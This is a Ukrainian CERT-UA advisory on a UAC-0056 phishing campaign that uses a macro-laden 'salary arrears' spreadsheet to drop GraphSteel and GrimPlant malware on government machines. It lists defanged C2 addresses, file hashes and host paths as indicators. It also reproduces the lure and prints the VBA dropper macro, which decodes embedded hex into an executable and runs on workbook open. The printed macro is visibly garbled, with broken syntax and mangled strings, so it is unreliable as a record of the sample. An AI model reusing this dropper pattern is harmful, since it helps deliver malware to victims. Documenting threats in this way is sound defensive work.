

# Кібератака групи UAC-0056 на державні органи України з використанням шкідливих програм GraphSteel та GrimPlant (CERT-UA#4293)

---

## Загальна інформація

Урядовою командою реагування на комп'ютерні надзвичайні події України CERT-UA отримано інформацію щодо розповсюдження електронних листів з темою "Заборгованість по зарплаті" серед державних органів України. У додатку до листа знаходиться документ "Заборгованість по зарплаті.xls", який містить легітимні статистичні дані та макрос. Разом з тим, до згаданого документу у вигляді вкладення додано hex-кодовані дані. Макрос, після активації, здійснить декодування даних, створення EXE-файлу "Base-Update.exe" на комп'ютері та його виконання.

Згаданий файл є програмою-завантажувачем, розробленою з використанням мови програмування GoLang. Програма здійснить завантаження і запуск іншого завантажувача, який, у свою чергу, забезпечить завантаження і запуск на комп'ютері шкідливих програм GraphSteel та GrimPlant.

Виявлену активність асоційовано з дільністю групи UAC-0056.

## Індикатори компрометації

### Файли:

```
da305627acf63792acb02afaf83d94d1
c1afb561cd5363ac5826ce7a72f0055b400b86bd7524da43474c94bc480d7eff
Заборгованість по зарплаті.xls
06124da5b4d6ef31dbfd7a6094fc52a6
9e9fa8b3b0a59762b429853a36674608df1fa7d7f7140c8fccd7c1946070995a      Base-
Update.exe (GoDownloader)
36ff9ec87c458d6d76b2afbd5120dfae
8ffe7f2eeb0cbfbc158b77bbff3e0055d2ef7138f481b4fac8ade6bfb9b2b0a1      java-
sdk.exe (GoDownloader)
4a5de4784a6005aa8a19fb0889f1947a
99a2b79a4231806d4979aa017ff7e8b804d32bfe9dcc0958d403dfe06bdd0532      oracle-
java.exe (GrimPlant)
6b413beb61e46241481f556bb5cdb69c
c83d8b36402639ea3f1ad5d48edc1a22005923aee1c1826afabe27cb3989baa3
microsoft-cortana.exe (GraphSteel) (2022-03-20)
```

## Мережеві:

hxxp://194[.]31.98.124:443/i  
hxxp://194[.]31.98.124:443/p  
hxxp://194[.]31.98.124:443/m  
ws://194[.]31.98.124:443/c  
194[.]31.98.124

## Хостові:

%TMP%\Base-Update.exe  
%USERPROFILE%\java-sdk\java-sdk.exe  
%USERPROFILE%\java-sdk\oracle-java.exe  
%USERPROFILE%\java-sdk\microsoft-cortana.exe

## Графічні зображення

От: [ ]@ov.ua  
Кому: [ ]  
Тема: Заборгованість по зарплаті

Сообщение: Заборгованість по зарплаті (10 Мбайт)

Заборгованість по зарплаті. Оновлюється автоматично. Просимо надіслати вашу пропозицію для скорочення заборгованості по зарплаті.

| А                | В    | С    | Д     | Е     | Г    | Д     | Ж    | З     | И    | Й    | К | Л | М | Н | О | П | Р | С | Т | У | В | Х | Ц | Ч | Ш | Щ | Ъ | Ы | Э | Ю | Я | Итого |  |  |
|------------------|------|------|-------|-------|------|-------|------|-------|------|------|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|-------|--|--|
| Україна          | 0    | 0    | 0     | 0     | 0    | 0     | 0    | 0     | 0    | 0    | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0     |  |  |
| Бразилія         | 1896 | 2066 | 9462  | 3268  | 772  | 202   | -184 | 81    | 12   | -21  |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |       |  |  |
| Іран-Формальська | 4547 | 5811 | 3222  | 4222  | -318 | -3588 | 0    | -70   | -119 | 0    |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |       |  |  |
| Румунія          | 0    | 4951 | 0     | 0     | 0    | 0     | 0    | 0     | 0    | 0    | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0     |  |  |
| Домініканська    | 738  | 0    | 0     | 0     | 0    | 0     | 0    | 0     | 0    | 0    | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0     |  |  |
| Домініканська    | 9807 | 5317 | 4294  | 4294  | -483 | -1013 | 0    | -174  | -191 | 0    |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |       |  |  |
| Домініканська    | 1463 | 5741 | 1776  | 1676  | 213  | -3365 | 0    | 0     | -497 | 0    |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |       |  |  |
| Домініканська    | 2207 | 4616 | 1741  | 1741  | 1507 | 1129  | 0    | 791   | 244  | 0    |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |       |  |  |
| Бразилія         | 1198 | 4479 | 17725 | 16618 | 4538 | 13229 | -607 | 0     | 2768 | 0    |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |       |  |  |
| Домініканська    | 1796 | 0    | 0     | 0     | 0    | 0     | 0    | 0     | 0    | 0    | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0     |  |  |
| Румунія          | 1488 | 7185 | 4180  | 1802  | 2314 | -1701 | 388  | 0     | -217 | -157 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |       |  |  |
| Кувейт           | 1584 | 1732 | 1391  | 1391  | -166 | -250  | -793 | -117  | -187 | -187 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |       |  |  |
| Домініканська    | 1059 | 2821 | 2455  | 4719  | 1660 | 1204  | 2404 | 2404  | 471  | 791  |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |       |  |  |
| Домініканська    | 214  | 3014 | 2422  | 1420  | 1206 | -1481 | -952 | 553.8 | -192 | -191 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |       |  |  |
| Домініканська    | 1211 | 4234 | 1423  | 1423  | 4447 | -106  | 0    | 381.3 | -62  | 0    |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |       |  |  |
| Домініканська    | 0    | 1492 | 1192  | 1204  | 2061 | -441  | -109 | 0     | 0    | 0    |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |       |  |  |
| Домініканська    | 0    | 194  | 194   | 194   | 194  | 0     | 0    | 0     | 0    | 0    |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |       |  |  |
| Домініканська    | 0    | 1052 | 100   | 100   | 499  | -351  | 191  | 0     | 0    | 0    |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |       |  |  |
| Домініканська    | 0    | 0    | 0     | 0     | 1040 | 1040  | 1040 | 0     | 0    | 0    |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |       |  |  |

```
Function SaveAs(Optional ByVal filepath) As Boolean
    'сохранит вказаний файл по заданому пути
    'возвращает True, если файл сохранен успешно
    'Если путь для сохранения не задан - выводится диалоговое окно сохранения файла
    On Error Resume Next: Err.Clear
    If filepath = "" Then
        'файл не задан - выводим диалоговое окно выбора файла
        Title = "Выборите путь и имя для сохранения файла" & filename & ".*"
        InitialFileName = Me.Parent.WB.Path & "\1" & filename
        DialogResult = Application.GetSaveAsFilename(InitialFileName, "Любые файлы (*.*)", , Title, "Сохранить")
        If NotType(DialogResult) = vbBoolean Then Exit Function
        filepath = DialogResult
    End If

    If filepath Is Nothing Then Exit Function
    status texts = "Изменение файла " & filename & ".*" из книги " & Parent.WB.Name & ".*"
    If Not SilentMode Then Application.StatusBar = status texts
    txt = Range2Text(GetDataRange.Value)
    If Len(txt) = 0 Then Exit Function
    status texts = "Добавлена в книгу книга " & filename & ".*" из книги " & Parent.WB.Name & ".*"
    buffers = "" : buffer2s = "" : Const BufferLen = 5000 : t = Timer
    For i = 1 To Len(txt) / 2
        letters = Mid(txt, i, 1, 2)
        buffers = buffers & Chr(letters)
        If Len(buffers) > BufferLen Then
            buffer2s = buffer2s & buffers : buffers = "" : DoEvents
            If Len(buffer2s) > BufferLen * 10 Then
                res = res & buffer2s : buffer2s = ""
                Percent = Format(Len(res) / (Len(txt) / 2) * 100, "##") & "% "
                If Not SilentMode Then Application.StatusBar = status texts & " : обработано " & Percent & "% (" &
                    Format(Len(res) / 1000, ".##") & " тыс.)" &
                    Format(Len(txt) / 2) & " = ## ##" & " & KB" & " секунд"
            End If
            DoEvents
        End If
    Next
    res = res & buffer2s & buffers
    If Not SilentMode Then Debug.Print "BufferLen = " & BufferLen & ", Done in " & Format(Timer - t, "0.0") & " секунд"
    ffw = FreeFile
    Open filepath For Binary Access Write As ffw
    Put #ffw: res
    Close #ffw
    If Not SilentMode Then Application.StatusBar = False
    status texts = Err = 0
End Function

Private Sub Workbook Open()
    Call ОбновлениеБазы()
End Sub

Class Module : AttachedFiles
    Attrib : EducatedFoot (ИФ008) : Дата: 19.08.2012
    Разработка макросов любой сложности для Microsoft Excel
    http://ExcelVBA.ru/ ICQ: 5936310 Skype: ExcelVBA.ru
    Реквизиты для оплаты работы: http://ExcelVBA.ru/paymentis
End Class

Public WB As Workbook : книга, к которой прикреплены файлы. По-умолчанию - текущая книга
Public AutoSaveWorkbook As Boolean
Public SilentMode As Boolean : не выводить никаких сообщений, в т.ч. в строку состояния
```